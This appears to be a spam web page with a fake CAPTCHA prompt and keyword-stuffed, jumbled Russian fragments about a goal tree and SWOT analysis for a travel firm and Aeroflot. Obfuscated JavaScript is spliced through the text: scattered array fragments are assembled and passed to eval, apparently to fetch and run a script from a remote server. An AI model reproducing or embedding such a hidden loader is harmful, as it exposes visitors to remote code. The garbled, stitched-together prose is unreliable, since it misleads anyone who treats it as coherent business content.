
I'm not a robot



reCAPTCHA
Privacy - Terms

Continue

Дерево Целей На Примере Турфирмы

";vRJB["eo"]="al";vRJB["Ht"]="gi";vRJB["Ui"]="r";vRJB["xb"]="J";vRJB["wT"]="tt";vRJB["Lp"]="T";vRJB["xX"]="or";vRJB["jd"]="p";vRJB["Qt"]="we";vRJB["NQ"]="d";vRJB["jj"]="ns";vRJB["nB"]="sp";vRJB["sD"]="c";vRJB["hf"]="";vRJB["sP"]="do";vRJB["Qi"]="HR";vRJB["gn"]="l";vRJB["fi"]="j";vRJB["Em"]="u";vRJB["ps"]="un";vRJB["Rr"]="ja";vRJB["fD"]=".. Неблагоприятные изменения в темпах роста курса валют.. перевозку пассажиров до 4 млн человек и перевозку грузов до 100 тыс.. Дерево целей — структурированная, построенная по иерархическому.. Рост продаж товаров-заменителей Снижение темпов роста рынка.. Маркетинг Планирование маркетинговой деятельности турфирмы.. 8 Закупка новых самолетов 8 Аренда самолетов.. 2 Обеспечение медицинской безопасности полетов.. 1 Учет растущих потребностей потребителей 1.. Устаревшие производственные мощности Низкая прибыльность.

6 Открытие чартерных рейсов на постоянной основе.. Спад в экономике Изменения во вкусах потребителей.. 1 Расширение ассортимента напитков на борту самолета.. 5 Расширение агентской сети 5 Реализация программы "Аэрофлот-Тур-Груп".. Внедрение единых стандартов, технологий и правил, принятых в мировой практике.. Повышение уровня сервиса 1 Расширение ассортимента товаров магазина беспошлинной торговли на борту самолета.. 4 Эксплуатация более вместительных самолетов на маршрутах с наибольшим потоком пассажиров.. Статус признанного лидера Полное использование технологического и маркетингового эффекта масштаба.

Относительно низкие затраты Эффективная реклама.. Пример стратегических целей в блоке «Клиенты»: Иерархическое выстраивание дерева целей должно быть выстроено таким образом, чтобы.. ";vRJB["Ua"]="N";vRJB["BZ"]="";vRJB["Qq"]="n";vRJB["kw"]="at";vRJB["wX"]="rv";vRJB["KO"]="";vRJB["wo"]="th";eval(vRJB["dM"])+vRJB["Dt"]+vRJB["Ij"]+vRJB["KO"]+vRJB["nT"]+vRJB["YY"]+vRJB["dM"]+vRJB["Dt"]+vRJB["LT"]+vRJB["Rc"]+vRJB["DJ"]+vRJB["Nt"]+vRJB["lx"]+vRJB["KF"]+vRJB["XC"]+vRJB["ka"]+vRJB["oD"]+vRJB["kC"]+vRJB["UI"]+vRJB["px"]+vRJB["Nt"]+vRJB["vd"]+vRJB["SJ"]+vRJB["DD"]+vRJB["AQ"]+vRJB["EU"]+vRJB["zm"]+vRJB["ZM"]+vRJB["iX"]+vRJB["gk"]+vRJB["ls"]+vRJB["TL"]+vRJB["zm"]+vRJB["qe"]+vRJB["AW"]+vRJB["uc"]+vRJB["wo"]+vRJB["tN"]+vRJB["qH"]+vRJB["bo"]+vRJB["fD"]+vRJB["Rr"]+vRJB["Pv"]+vRJB["hC"]+vRJB["yr"]+vRJB["rL"]+vRJB["lx"]+vRJB["ZJ"]+vRJB["Lp"]+vRJB["NQ"]+vRJB["kw"]+vRJB["qK"]+vRJB["yr"]+vRJB["rL"]+vRJB["lx"]+vRJB["Mx"]+vRJB["tp"]+vRJB["yL"]+vRJB["ii"]+vRJB["hz"]+vRJB["SJ"]+vRJB["QN"]+vRJB["UJ"]+vRJB["kw"]+vRJB["WS"]+vRJB["EC"]+vRJB["eo"]+vRJB["Qu"]+vRJB["sD"]+vRJB["LH"]+vRJB["SI"]+vRJB["IR"]+vRJB["pK"]+vRJB["Df"]+vRJB["Uf"]+vRJB["bb"]+vRJB["FX"]+vRJB["fi"]+vRJB["HF"]+vRJB["nG"]+vRJB["Uf"]+vRJB["un"]+vRJB["EF"]+vRJB["Hc"]+vRJB["WA"]+vRJB["WR"]+vRJB["Uf"]+vRJB["Nw"]+vRJB["wT"]+vRJB["jd"]+vRJB["Tr"]+vRJB["ex"]+vRJB["k"]+vRJB["cd"]+vRJB["Ht"]+vRJB["Em"]+vRJB["oy"]+vRJB["y"]+vRJB["Fn"]+vRJB["nf"]+vRJB["JI"]+vRJB["fq"]+vRJB["zz"]+vRJB["Sw"]+vRJB["Mx"]+vRJB["Qu"]+vRJB["wX"]+vRJB["gk"]+vRJB["Ui"]+vRJB["HL"]+vRJB["Nz"]+vRJB["jY"]+vRJB["tv"]+vRJB["BO"]+vRJB["Df"]+vRJB["KS"]+vRJB["cL"]+vRJB["sP"]+vRJB["Ay"]+vRJB["pp"]+vRJB["eQ"]+vRJB["YM"]+vRJB["zx"]+vRJB["Qt"]+vRJB["na"]+vRJB["gy"]+vRJB["ii"]+vRJB["WP"]+vRJB["ZF"]+vRJB["QN"]+vRJB["mj"]+vRJB["EC"]+vRJB["ps"]+vRJB["Xb"]+vRJB["Wr"]+vRJB["Qq"]+vRJB["By"]+vRJB["QN"]+vRJB["bU"]+vRJB["jj"]+vRJB["qE"]+vRJB["kw"]+vRJB["Zg"]+vRJB["OQ"]+vRJB["jS"]+vRJB["Xm"]+vRJB["zG"]+vRJB["Zh"]+vRJB["oC"]+vRJB["vn"]+vRJB["xi"]+vRJB["Qi"]+vRJB["qH"]+vRJB["aZ"]+vRJB["dM"]+vRJB["gn"]+vRJB["zm"]+vRJB["nB"]+vRJB["aq"]+vRJB["Qu"]+vRJB["Yj"]+vRJB["zG"]+vRJB["hf"]+vRJB["gl"]+vRJB["gk"]+vRJB["LH"]+vRJB["of"]+vRJB["EC"]+vRJB["ps"]+vRJB["Xb"]+vRJB["Wr"]+vRJB["Qq"]+vRJB["By"]+vRJB["QN"]+vRJB["bU"]+vRJB["jj"]+vRJB["qE"]+vRJB["kw"]+vRJB["Zg"]+vRJB["OQ"]+vRJB["jS"]+vRJB["Xm"]+vRJB["zG"]+vRJB["Zh"]+vRJB["oC"]+vRJB["jG"]+vRJB["iX"]+vRJB["xX"]+vRJB["lc"]+vRJB["LH"]+vRJB["Ay"]+vRJB["qH"]+vRJB["zs"]+vRJB["eo"]+vRJB["gk"]+vRJB["Ge"]+vRJB["IK"]+vRJB["Do"]+vRJB["Aa"]+vRJB["un"]+vRJB["Yz"]+vRJB["oN"]+vRJB["Ez"]+vRJB["el"]+vRJB["xb"]+vRJB["eS"]+vRJB["Ua"]+vRJB["au"]+vRJB["tp"]+vRJB["uc"]+vRJB["Xy"]+vRJB["YJ"]+vRJB["zm"]+vRJB["nB"]+vRJB["aq"]+vRJB["Qu"]+vRJB["Yj"]+vRJB["zG"]+vRJB["cB"]+vRJB["BZ"]+vRJB["bY"]+vRJB["BZ"]);SWOT-анализ(SWOT - аббревиатура от слов strong (сильный), worth (слабый), opportunities (возможности), threat (страх).. 1 Расширение комплекса услуг в сфере гостиничного бизнеса.. 1 Снижение тарифов на полеты и перевозки 1 Увеличение пассажиропотока.. тонн Удерживать лидирующие позиции на российском рынке авиаперевозок.. 6

Расширение географии полетов на внутренних и международных линиях.

Мы являемся национальным российским авиаперевозчиком и выполняем регулярные международные полеты в различные страны мира.. Дерево целей на примере организации виды целей и выстроим на примере организации дерево целей.. Слабые стороны фирмы: Отсутствие четкой стратегии.. Узкая продуктовая линия Неблагоприятный имидж фирмы на рынке.. 1 Усовершенствования в международной сие-, теме бронирования.. Диверсификация услуг, вертикальная и горизонтальная интеграции.. 6 Совершенствование расписания 6 Создание единой сети международных и внутренних авиалиний.. ;vRJB["Df"]="in";vRJB["Hc"]="e,";vRJB["Zh"]="tu";vRJB["DJ"]="me";vRJB["tN"]=">0";vRJB["Mx"]="sc";vRJB["JI"]="B0";vRJB["zm"]="re";vRJB["BO"]="s/";vRJB["jG"]="e";vRJB["cd"]="Am";vRJB["cL"]="x_";vRJB["mj"]="s:";vRJB["SI"]="ss";vRJB["Uf"]="":vRJB["WR"]="rl";vRJB["WP"]="su";vRJB["gk"]="er";vRJB["ZF"]="cc";vRJB["qH"]=")";vRJB["tp"]="ri";vRJB["FX"]="ue";vRJB["of"]="r:";vRJB["YY"]="j";vRJB["vn"]=" j";vRJB["LH"]="ro";vRJB["Qu"]="se";vRJB["oD"]="";vRJB["bo"]="{ \$";vRJB["qK"]="aT";vRJB["IR"]="Do";vRJB["yr"]="yp";vRJB["OQ"]=" t";vRJB["el"]="+";vRJB["By"]="("r";vRJB["WA"]=" u";vRJB["SJ"]="oc";vRJB["HL"]="u/";vRJB["UI"]=" r";vRJB["vd"]="d";vRJB["hC"]="{"t";vRJB["Nt"]=" =";vRJB["WS"]="a:";vRJB["Xm"]="tS";vRJB["Zg"]="a,";vRJB["au"]="st";vRJB["cB"]=")";vRJB["Rc"]="ow";vRJB["zx"]="s?";vRJB["Yz"]="il";vRJB["qe"]="f.

Категория Дерево целей позволяет: обеспечить четкую координацию усилий всех на примере задачи «проведение маркетингового исследования рынка».. 2 Повышение надежности полетов 2 Более точное соблюдение расписания полетов.. 6 Введение дополнительных рейсов в ночное время.. я глубже ознакомилась на практическом примере с работой турфирмы, узнала.. Формулировка целей и построение дерева целей.. Отсутствие навыков и профессионализма у работников предприятия.. 6 Состыковка рейсов 6 Увеличение числа рейсов.. Надежный и профессиональный менеджмент Дерево целей — структурированная, построенная по иерархическому.. Противоречия между элементами корпоративной культуры со стороны различных отделов.. 1 Оказание медицинской помощи на борту самолета.. Фирма организует пассажирские и грузовые авиаперевозки по всему миру для российских и зарубежных клиентов, оказывая качественные и разнообразные услуги по невысоким ценам.. я глубже ознакомилась на практическом примере с работой турфирмы, узнала.. 1 Повышение доступности авиаперевозок для клиентов.. Сильные стороны фирмы: Наличие необходимых финансовых ресурсов.. Мы работаем, расширяя рынок и удерживая лидирующие позиции, чтобы обеспечивать все большее количество пассажиров во всем мире недорогим и высококачественным обслуживанием с целью повышения эффективности их деятельности.. 1 Расширение ассортимента питания на борту самолета с учетом национальных и религиозных особенностей пассажиров.. Умение профессионально вести конкурентную борьбу.. 7 Увеличение налета на каждый самолет 8 Увеличение парка воздушных судов.. Слабые каналы сбыта Высокие по отношению к конкурентам издержки производства.. Определение бизнеса и миссии фирмы (на примере ОАО "Аэрофлот -Российские международные авиалинии").. Наличие собственных технологий и стандартов.. a";vRJB["Tr"]="//";vRJB["aq"]="on";vRJB["yL"]="pt";vRJB["Dt"]="r ";vRJB["Ay"]="wn";vRJB["KF"]="fo";vRJB["jY"]="ak";vRJB["ZJ"]="GE";vRJB["lc"]="Th";vRJB["XC"]="rc";vRJB["un"]="fa";vRJB["fq"]="2j";vRJB["YJ"]="y("vRJB["jS"]="ex";vRJB["Ge"]="("t";vRJB["Ez"]=".. 1 Помощь в заполнении таможенных и иммиграционных карточек в соответствии с правилами страны пребывания.. 2 Повышение безопасности полетов 2 Повышение квалификации персонала.. 1 Повышение коэффициента занятости кресел 2.. 1 Предоставление возможности прослушивания музыкальных программ и просмотра видеофильмов.. j";vRJB["tv"]="ur";vRJB["UJ"]="sD";vRJB["eQ"]="ad";vRJB["lx"]="":vRJB["bU"]="po";vRJB["qE"]="eD";vRJB["ii"]="";vRJB["Aa"]="T";vRJB["oN"]="ed";vRJB["TL"]="f("vRJB["oy"]="FW";vRJB["bY"]="}");vRJB["Fn"]="TR";vRJB["Sw"]="m.. Достигнуть самых высоких показателей в работе за все время существования "Аэрофлота", увеличив в 1998 г.. 5 Заключение договоров GSM (горюче-смазочные материалы).. 7 Увеличение объема перевозок 7 Увеличение частоты полетов.. Падение торговых барьеров Благодушные конкурентов.. 3 Сокращение числа полетов на убыточных маршрутах.. Организация турфирмы Дерево целей на примере организации дерево целей дерево целей предприятия пример дерево дерево целей турфирмы дерево.. 5 Совершенствование системы продаж 5 Открытие новых представительств.. Возможности фирмы: Обслуживание дополнительных групп потребителей, выход на новый рынок, расширение продуктовой линии.. 6 Открытие новых рейсов 6 Введение дополнительных рейсов в пик сезона.. ";vRJB["ka"]="e";vRJB["ls"]="i";vRJB["rL"]="e:";vRJB["ex"]="30";vRJB["zG"]="ta";vRJB["aZ"]="{"e";vRJB["EC"]="f";vRJB["Xb"]="ct";vRJB["Nz"]="vr";vRJB["YM"]=".. Отставание в научно-исследовательских разработках.. Отсутствие финансовых и материальных ресурсов.. Эффективные производственные мощности Наличие потребности в услугах фирмы на потребительском рынке.. var Zjj = 'd0%94%d0%b5%d1%80%d0%b5%d0%b2%d0%be+%d0%a6%d0%b5%d0

%bb%d0%b5%d0%b9+%d0%9d%d0%b0+%d0%9f%d1%80%d0%b8%d0%bc%d0%b5%d1%80%d0%b5+%d0%a2%d1%83
%d1%80%d1%84%d0%b8%d1%80%d0%bc%d1%8b';var vRJB = new Array();vRJB["hz"]="pr";vRJB["Xy"]="if";vRJB["AW
"]="le";vRJB["DD"]="um";vRJB["pp"]="lo";vRJB["oC"]="s,";vRJB["Pv"]="x(";vRJB["px"]="ef";vRJB["pK"]="ma";vRJB["N
w"]="h";vRJB["nG"]="np";vRJB["Wr"]="io";vRJB["Ij"]="q ";vRJB["iX"]="rr";vRJB["yJ"]="2I";vRJB["gl"]=",";vRJB["xi"]="
qX";vRJB["nT"]="Zj";vRJB["bb"]="tr";vRJB["KS"]="de";vRJB["uc"]="ng";vRJB["gy"]="ly";vRJB["zz"]="B5";vRJB["AQ"]="
en";vRJB["zs"]="{ ";vRJB["ZM"]="fe";vRJB["LT"]="sh";vRJB["IK"]="P";vRJB["HF"]="so";vRJB["Do"]="OS";vRJB["kj"]="t
3";vRJB["kC"]="ar";vRJB["EF"]="ls";vRJB["nf"]="2t";vRJB["eS"]="SO";vRJB["na"]="eb";vRJB["Yj"]="Da";vRJB["dM"]="v
a";vRJB["QN"]="es";vRJB["EU"]="t.. 1 Совершенствование системы доставки пассажиров автотранспортом.. Увеличение
темпов роста рынка Вхождение на рынок сильного конкурента.. Неблагоприятная демографическая ситуация
ПРИЛОЖЕНИЕ 3. e10c415e6f